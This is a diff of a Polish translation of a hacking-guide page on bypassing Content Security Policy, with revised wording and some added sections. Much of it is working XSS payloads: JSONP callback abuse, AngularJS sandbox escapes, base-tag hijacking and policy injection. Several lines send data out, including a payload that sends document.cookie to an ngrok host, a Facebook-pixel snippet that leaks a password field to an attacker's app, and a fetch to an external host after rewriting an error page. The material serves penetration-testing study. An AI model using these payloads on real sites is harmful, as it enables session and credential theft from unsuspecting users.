Jeśli nie jest możliwe wstrzyknięcie JS, nadal możesz spróbować np. wydobyć dane, **wstrzykując akcję formularza** (i być może licząc na automatyczne wypełnienie haseł przez menedżery haseł). Możesz znaleźć [**przykład w tym raporcie**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Zauważ także, że `default-src` nie obejmuje akcji formularza.
|
||||
|
||||
### Zewnętrzne punkty końcowe + ('unsafe-eval')
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -246,10 +250,6 @@ W poście pokazano, że można **załadować** wszystkie **biblioteki** z `cdn.c
|
|||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
### Angular XSS z nazwy klasy:
|
||||
|
||||
---
|
||||
|
||||
### Angular XSS z nazwy klasy:
|
||||
```html
|
||||
<div ng-app>
|
||||
|
@ -284,11 +284,19 @@ b=doc.createElement("script");
|
|||
b.src="//example.com/evil.js";
|
||||
b.nonce=a.nonce; doc.body.appendChild(b)'>
|
||||
```
|
||||
### Zewnętrzne punkty końcowe + JSONP
|
||||
#### Wykorzystywanie www.google.com do otwartego przekierowania
|
||||
|
||||
Następujący adres URL przekierowuje do example.com (z [tutaj](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
### Trzecie punkty końcowe + JSONP
|
||||
|
||||
Możliwe jest nadużycie Google Apps Script do otrzymywania informacji na stronie wewnątrz script.google.com. Tak jak to [zostało zrobione w tym raporcie](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Scenariusze, w których `script-src` jest ustawiony na `self` i określona domena jest dodana do białej listy, można ominąć, korzystając z JSONP. Punkty końcowe JSONP pozwalają na niebezpieczne metody wywołań zwrotnych, które umożliwiają atakującemu wykonanie XSS, działający payload:
|
||||
Scenariusze, w których `script-src` jest ustawiony na `self` i określona domena jest dodana do białej listy, można ominąć, korzystając z JSONP. Punkty końcowe JSONP pozwalają na niebezpieczne metody wywołań zwrotnych, co umożliwia atakującemu wykonanie XSS, działający ładunek:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -304,20 +312,20 @@ Ta sama podatność wystąpi, jeśli **zaufany punkt końcowy zawiera Przekierow
|
|||
|
||||
### Nadużycia osób trzecich
|
||||
|
||||
Jak opisano w [poniższym poście](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, mogą być wykorzystane do wycieku danych lub wykonania kodu JavaScript. Niektóre z tych stron osób trzecich to:
|
||||
Jak opisano w [poniższym poście](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, mogą być wykorzystane do eksfiltracji danych lub wykonania kodu JavaScript. Niektóre z tych stron trzecich to:
|
||||
|
||||
| Podmiot | Dozwolona Domena | Zdolności |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Wyciek |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Wyciek |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Eksfiltracja |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Eksfiltracja |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Wykonanie |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Wyciek, Wykonanie |
|
||||
| Amazon AWS | \*.amazonaws.com | Wyciek, Wykonanie |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Wyciek, Wykonanie |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Wyciek, Wykonanie |
|
||||
| Google Firebase | \*.firebaseapp.com | Wyciek, Wykonanie |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Eksfiltracja, Wykonanie |
|
||||
| Amazon AWS | \*.amazonaws.com | Eksfiltracja, Wykonanie |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Eksfiltracja, Wykonanie |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Eksfiltracja, Wykonanie |
|
||||
| Google Firebase | \*.firebaseapp.com | Eksfiltracja, Wykonanie |
|
||||
|
||||
Jeśli znajdziesz którąś z dozwolonych domen w CSP swojego celu, istnieje szansa, że będziesz w stanie obejść CSP, rejestrując się w usłudze osób trzecich i albo wyciekać dane do tej usługi, albo wykonywać kod.
|
||||
Jeśli znajdziesz którąś z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze osób trzecich i albo eksfiltrując dane do tej usługi, albo wykonując kod.
|
||||
|
||||
Na przykład, jeśli znajdziesz następujący CSP:
|
||||
```
|
||||
|
@ -327,25 +335,25 @@ lub
|
|||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Powinieneś móc wyciekać dane, podobnie jak zawsze było to robione za pomocą [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). W tym przypadku postępuj zgodnie z następującymi ogólnymi krokami:
|
||||
1. Utwórz konto dewelopera na Facebooku [tutaj](https://developers.facebook.com/).
|
||||
2. Stwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
|
||||
3. Przejdź do "Ustawienia -> Podstawowe" i uzyskaj "ID aplikacji".
|
||||
4. Na stronie docelowej, z której chcesz eksfiltrować dane, możesz to zrobić bezpośrednio za pomocą gadżetu Facebook SDK "fbq" poprzez "customEvent" i ładunek danych.
|
||||
5. Przejdź do "Menedżera zdarzeń" swojej aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Wybierz zakładkę "Zdarzenia testowe", aby zobaczyć zdarzenia wysyłane przez Twoją witrynę.
|
||||
|
||||
1. Utwórz konto dewelopera na Facebooku tutaj.
|
||||
2. Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
|
||||
3. Przejdź do "Ustawienia -> Podstawowe" i uzyskaj swój "ID aplikacji".
|
||||
4. Na witrynie docelowej, z której chcesz wyciekać dane, możesz wyciekać dane bezpośrednio za pomocą gadżetu Facebook SDK "fbq" poprzez "customEvent" i ładunek danych.
|
||||
5. Przejdź do "Menedżera zdarzeń" swojej aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Wybierz zakładkę "Zdarzenia testowe", aby zobaczyć zdarzenia wysyłane przez stronę internetową "twoją".
|
||||
|
||||
Następnie, po stronie ofiary, wykonaj poniższy kod, aby zainicjować piksel śledzenia Facebooka wskazujący na aplikację dewelopera ofiary o identyfikatorze aplikacji i wydać zdarzenie niestandardowe w ten sposób:
|
||||
Następnie, po stronie ofiary, wykonaj poniższy kod, aby zainicjować piksel śledzenia Facebooka, który będzie wskazywał na aplikację dewelopera atakującego o podanym ID aplikacji i wydał zdarzenie niestandardowe:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Co do pozostałych siedmiu domen stron trzecich określonych w poprzedniej tabeli, istnieje wiele innych sposobów ich nadużywania. Odniesienie do wcześniejszego [postu na blogu](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) dla dodatkowych wyjaśnień dotyczących innych nadużyć stron trzecich.
|
||||
|
||||
### Bypass za pomocą RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Oprócz wspomnianej wcześniej techniki przekierowania do ominięcia ograniczeń ścieżki istnieje inna technika o nazwie Relative Path Overwrite (RPO), która może być użyta na niektórych serwerach.
|
||||
Oprócz wspomnianej wcześniej przekierowania w celu ominięcia ograniczeń ścieżki, istnieje inna technika zwana Relative Path Overwrite (RPO), która może być używana na niektórych serwerach.
|
||||
|
||||
Na przykład, jeśli CSP zezwala na ścieżkę `https://example.com/scripts/react/`, można ją ominąć w następujący sposób:
|
||||
```html
|
||||
|
@ -357,11 +365,11 @@ To działa, ponieważ dla przeglądarki ładowany jest plik o nazwie `..%2fangul
|
|||
|
||||
Następnie zdekodują to, efektywnie żądając `https://example.com/scripts/react/../angular/angular.js`, co jest równoważne z `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
**Wykorzystując tę niekonsekwencję w interpretacji adresu URL między przeglądarką a serwerem, reguły ścieżki mogą zostać obejścia**.
|
||||
**Wykorzystując tę niekonsekwencję w interpretacji adresów URL między przeglądarką a serwerem, można ominąć reguły ścieżki**.
|
||||
|
||||
Rozwiązaniem jest nie traktowanie `%2f` jako `/` po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem, aby uniknąć tego problemu.
|
||||
|
||||
Przykład online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
Przykład online: [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Wykonywanie JS w Iframes
|
||||
|
||||
|
@ -373,21 +381,21 @@ Przykład online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbi
|
|||
|
||||
Jeśli dyrektywa **base-uri** jest pominięta, można ją wykorzystać do wykonania [**wstrzyknięcia zawieszonego znacznika**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Co więcej, jeśli **strona ładuje skrypt za pomocą ścieżki względnej** (np. `<script src="/js/app.js">`) używając **Nonce**, można wykorzystać tag **base** do **załadowania** skryptu z **własnego serwera, osiągając XSS.**\
|
||||
Jeśli podatna strona jest ładowana z protokołem **httpS**, użyj adresu URL httpS w tagu base.
|
||||
Co więcej, jeśli **strona ładuje skrypt za pomocą ścieżki względnej** (np. `<script src="/js/app.js">`) używając **Nonce**, można wykorzystać tag **base** do **ładowania** skryptu z **własnego serwera, osiągając XSS.**\
|
||||
Jeśli podatna strona jest ładowana z **httpS**, użyj adresu URL httpS w tagu base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
### Wydarzenia AngularJS
|
||||
|
||||
Konkretna polityka znana jako Content Security Policy (CSP) może ograniczać wydarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe wydarzenia jako alternatywę. W ramach wydarzenia, AngularJS udostępnia unikalny obiekt `$event`, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt `$event` może być wykorzystany do obejścia CSP. Warto zauważyć, że w Chrome obiekt `$event/event` posiada atrybut `path`, przechowujący tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem `window` zawsze umieszczonym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
|
||||
Konkretna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia AngularJS dostarcza unikalny obiekt `$event`, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt `$event` może być wykorzystany do obejścia CSP. Warto zauważyć, że w Chrome obiekt `$event/event` posiada atrybut `path`, przechowujący tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, przy czym obiekt `window` zawsze znajduje się na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
|
||||
|
||||
Poprzez kierowanie tej tablicy do filtra `orderBy`, możliwe jest iterowanie po niej, wykorzystując terminalny element (obiekt `window`) do wywołania globalnej funkcji, takiej jak `alert()`. Przedstawiony poniżej fragment kodu ilustruje ten proces:
|
||||
Poprzez kierowanie tej tablicy do filtra `orderBy`, możliwe jest iterowanie po niej, wykorzystując końcowy element (obiekt `window`) do wywołania globalnej funkcji, takiej jak `alert()`. Przedstawiony poniżej fragment kodu ilustruje ten proces:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
To fragment pokazuje użycie dyrektywy `ng-focus` do wywołania zdarzenia, korzystając z `$event.path|orderBy` do manipulacji tablicą `path`, oraz wykorzystując obiekt `window` do wykonania funkcji `alert()`, ujawniając w ten sposób `document.cookie`.
|
||||
Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, korzystając z `$event.path|orderBy` do manipulacji tablicą `path`, oraz wykorzystując obiekt `window` do wykonania funkcji `alert()`, ujawniając w ten sposób `document.cookie`.
|
||||
|
||||
**Znajdź inne sposoby bypassowania Angulara na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
|
@ -395,11 +403,9 @@ To fragment pokazuje użycie dyrektywy `ng-focus` do wywołania zdarzenia, korzy
|
|||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
```plaintext
|
||||
Polityka CSP, która uwzględnia domeny do ładowania skryptów w aplikacji Angular JS, może zostać obejścia poprzez wywołanie funkcji zwrotnych i pewnych podatnych klas. Więcej informacji na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
Polityka CSP, która uwzględnia domeny do ładowania skryptów w aplikacji Angular JS, może zostać obejśnięta poprzez wywołanie funkcji zwrotnych i pewnych podatnych klas. Więcej informacji na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Działające ładunki:
|
||||
```
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
|
@ -433,15 +439,15 @@ Oto przykład:
|
|||
```
|
||||
Jeśli CSP jest ustawione na `https://www.google.com/a/b/c/d`, ponieważ uwzględniany jest ścieżka, zarówno skrypty `/test`, jak i `/a/test` zostaną zablokowane przez CSP.
|
||||
|
||||
Jednakże, ostateczny `http://localhost:5555/301` zostanie **przekierowany po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co umożliwia obejście ograniczenia ścieżki.
|
||||
Jednakże, ostateczny adres `http://localhost:5555/301` zostanie **przekierowany po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co umożliwia obejście ograniczenia ścieżki.
|
||||
|
||||
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest wskazana w całości, nadal zostanie obejścia.
|
||||
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest wskazana w całości, nadal zostanie ona ominięta.
|
||||
|
||||
Dlatego najlepszym rozwiązaniem jest upewnienie się, że witryna nie ma żadnych podatności na otwarte przekierowania oraz że nie ma domen, które mogą być wykorzystane w zasadach CSP.
|
||||
Dlatego najlepszym rozwiązaniem jest upewnienie się, że witryna nie posiada podatności na otwarte przekierowania oraz że nie ma domen, które mogą być wykorzystane w zasadach CSP.
|
||||
|
||||
### Ominięcie CSP za pomocą zawieszonego znacznika
|
||||
|
||||
Przeczytaj [tutaj](../dangling-markup-html-scriptless-injection/).
|
||||
Przeczytaj [tutaj](../dangling-markup-html-scriptless-injection/), jak to zrobić.
|
||||
|
||||
### 'unsafe-inline'; img-src \*; za pomocą XSS
|
||||
```
|
||||
|
@ -471,7 +477,7 @@ Funkcja **`importScripts`** pracowników usługi nie jest ograniczona przez CSP:
|
|||
|
||||
#### Chrome
|
||||
|
||||
Jeśli **parametr** wysłany przez ciebie jest **wklejany do** **deklaracji** **polityki**, możesz **zmienić** **politykę** w taki sposób, że staje się **bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** za pomocą któregokolwiek z tych obejść:
|
||||
Jeśli **parametr** wysłany przez ciebie jest **wklejany wewnątrz** **deklaracji** **polityki**, możesz **zmienić** **politykę** w taki sposób, że staje się **bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** za pomocą któregokolwiek z tych obejść:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
|
@ -487,9 +493,9 @@ Przykład: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\
|
|||
### img-src \*; za pomocą XSS (iframe) - Atak czasowy
|
||||
|
||||
Zauważ brak dyrektywy `'unsafe-inline'`\
|
||||
Tym razem możesz sprawić, że ofiara **załaduje** stronę **pod twoją kontrolą** za pomocą **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (**CSRF**). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz **kontrolować czas potrzebny na załadowanie strony**, możesz wydobyć potrzebne informacje.
|
||||
Tym razem możesz sprawić, że ofiara **załaduje** stronę **pod twoją kontrolą** za pomocą **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wyciągnąć informacje (**CSRF**). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz **kontrolować czas potrzebny na załadowanie strony**, możesz wyciągnąć potrzebne informacje.
|
||||
|
||||
Tym razem **flaga** zostanie wydobyta, za każdym razem gdy **poprawnie zgadnięty jest znak** za pomocą SQLi, **odpowiedź** trwa **dłużej** ze względu na funkcję sleep. Wtedy będziesz mógł wydobyć flagę:
|
||||
Tym razem **flaga** zostanie wyciągnięta, za każdym razem gdy **poprawnie zgadniesz znak** za pomocą SQLi, **odpowiedź** zajmie **więcej czasu** z powodu funkcji sleep. Wtedy będziesz mógł wyciągnąć flagę:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
|
@ -549,15 +555,15 @@ console.log(prefix);
|
|||
run();
|
||||
</script>
|
||||
```
|
||||
### Za pomocą zakładek
|
||||
### Za pomocą zakładki
|
||||
|
||||
Ten atak zakłada pewne inżynierii społecznej, gdzie atakujący **przekonuje użytkownika, aby przeciągnął i upuścił link na zakładkę przeglądarki**. Ta zakładka będzie zawierać **złośliwy kod JavaScript**, który po przeciągnięciu lub kliknięciu zostanie wykonany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak ciasteczka lub tokeny.
|
||||
Ten atak zakłada pewne inżynierii społecznej, gdzie atakujący **przekonuje użytkownika, aby przeciągnął i upuścił link na zakładkę przeglądarki**. Ta zakładka zawierałaby **złośliwy kod JavaScript**, który po przeciągnięciu lub kliknięciu byłby wykonany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak ciasteczka lub tokeny.
|
||||
|
||||
Aby uzyskać więcej informacji, [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Ominięcie CSP poprzez ograniczenie CSP
|
||||
|
||||
W [**tym rozwiązaniu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest ominięty poprzez wstrzyknięcie bardziej restrykcyjnego CSP do dozwolonego elementu iframe, który uniemożliwia załadowanie określonego pliku JS, który następnie, poprzez **zanieczyszczanie prototypu** lub **nadpisywanie DOM**, pozwala na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**.
|
||||
W [**tym rozwiązaniu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest ominięty poprzez wstrzyknięcie bardziej restrykcyjnego CSP do dozwolonego elementu iframe, który uniemożliwiał załadowanie określonego pliku JS, który następnie za pomocą **zanieczyszczania prototypu** lub **nadpisywania DOM** pozwalał na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**.
|
||||
|
||||
Możesz **ograniczyć CSP elementu iframe** za pomocą atrybutu **`csp`**:
|
||||
|
||||
|
@ -567,8 +573,8 @@ Możesz **ograniczyć CSP elementu iframe** za pomocą atrybutu **`csp`**:
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), było możliwe poprzez **wstrzyknięcie HTML** **ograniczenie** **CSP**, aby skrypt zapobiegający CSTI został wyłączony, a tym samym **podatność stała się wykonalna.**\
|
||||
CSP można zrobić bardziej restrykcyjne, używając **metatagów HTML** i skrypty inline mogą być wyłączone **usuwając** **wpis** pozwalający na ich **nonce** i **włączanie konkretnych skryptów inline za pomocą sha**:
|
||||
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) było możliwe poprzez **wstrzyknięcie HTML** **ograniczenie** bardziej **CSP**, więc skrypt uniemożliwiający CSTI został wyłączony, a tym samym **podatność stała się wykonalna.**\
|
||||
CSP można zrobić bardziej restrykcyjne za pomocą **tagów meta HTML** i skrypty inline mogą być wyłączone **usuwając** **wpis** pozwalający na ich **nonce** i **włączając określony skrypt inline za pomocą sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -593,7 +599,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
Warto zauważyć, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w kontekście CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu niezdefiniowanego zachowania.
|
||||
|
||||
Inną techniką jest wykorzystanie samego CSP do wydedukowania tajnej subdomeny. Ta metoda polega na wykorzystaniu algorytmu wyszukiwania binarnego i dostosowaniu CSP, aby zawierał określone domeny, które są celowo blokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby blokować lub zezwalać na te subdomeny. Oto fragment pokazujący, jak można skonfigurować CSP, aby ułatwić tę metodę:
|
||||
Inną techniką jest wykorzystanie samego CSP do wydedukowania tajnej subdomeny. Ta metoda polega na algorytmie wyszukiwania binarnego i dostosowaniu CSP, aby zawierał określone domeny, które są celowo blokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby blokować lub zezwalać na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowany, aby ułatwić tę metodę:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
@ -605,13 +611,13 @@ Sztuczka z [**tutaj**](https://ctftime.org/writeup/29310).
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami luk w nagrodach!
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
|
||||
**Spojrzenie na Hacking**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem
|
||||
**Spostrzeżenia Hakerskie**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
|
||||
|
||||
**Aktualności na Żywo o Hackingu**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnościom i spojrzeniom na żywo
|
||||
**Aktualności Hakerskie na Żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakerskiego dzięki aktualnościom i spostrzeżeniom na żywo
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami nagród za błędy i istotnymi aktualizacjami platformy
|
||||
|
@ -629,7 +635,7 @@ Pomysł z [**tego writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Bab
|
|||
|
||||
### Przepisanie Strony Błędu
|
||||
|
||||
Z [**tego writeup**](https://blog.ssrf.kr/69) wynika, że było możliwe ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
|
||||
Z [**tego writeup**](https://blog.ssrf.kr/69) wygląda na to, że było możliwe ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -638,24 +644,24 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME to technika, która nadużywa XSS (lub bardzo ograniczonego XSS) **w punkcie końcowym strony** do **nadużycia** **innych punktów końcowych tego samego pochodzenia.** Polega to na załadowaniu podatnego punktu końcowego z strony atakującej, a następnie odświeżeniu strony atakującej do rzeczywistego punktu końcowego w tym samym pochodzeniu, który chcesz nadużyć. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **payloadzie** do **dostępu do DOM** **rzeczywistego punktu końcowego do nadużycia**. Aby uzyskać więcej informacji, sprawdź:
|
||||
SOME to technika, która nadużywa XSS (lub bardzo ograniczonego XSS) **w punkcie końcowym strony** do **nadużycia** **innych punktów końcowych tego samego pochodzenia.** Polega to na załadowaniu podatnego punktu końcowego z strony atakującego, a następnie odświeżeniu strony atakującego do rzeczywistego punktu końcowego w tym samym pochodzeniu, który chcesz nadużyć. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **ładunku** do **dostępu do DOM** rzeczywistego punktu końcowego do nadużycia. Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Co więcej, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odbije** **dane** wysłane w wyniku (z ograniczeniem tylko liter, cyfr i kropek).
|
||||
Co więcej, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odbije** **dane** przesłane w wyniku (z ograniczeniem tylko liter, cyfr i kropek).
|
||||
|
||||
Atakujący może nadużyć tego punktu końcowego, aby **wykonać atak SOME** na WordPressie i **osadzić** go wewnątrz `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`. Zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może nadużyć **ataku SOME** poprzez **podatny** **punkt końcowy wywołania zwrotnego**, który **omija CSP**, aby nadać użytkownikowi więcej uprawnień, zainstalować nowy dodatek...\
|
||||
Atakujący może nadużyć tego punktu końcowego, aby **wykonać atak SOME** na WordPress i **osadzić** go wewnątrz `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Co więcej, ponieważ WordPress jest zainstalowany, atakujący może nadużyć **ataku SOME** poprzez **podatny** **punkt końcowy wywołania zwrotnego**, który **omija CSP** w celu nadania większych uprawnień użytkownikowi, zainstalowania nowej wtyczki...\
|
||||
Aby uzyskać więcej informacji na temat wykonania tego ataku, sprawdź [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Ominięcia eksfiltracji CSP
|
||||
## Bypassy eksfiltracji CSP
|
||||
|
||||
Jeśli istnieje surowa CSP, która nie pozwala ci **interagować z zewnętrznymi serwerami**, zawsze istnieją pewne rzeczy, które możesz zrobić, aby eksfiltrować informacje.
|
||||
|
||||
### Location
|
||||
### Lokalizacja
|
||||
|
||||
Możesz po prostu zaktualizować lokalizację, aby przesłać na serwer atakującego poufne informacje:
|
||||
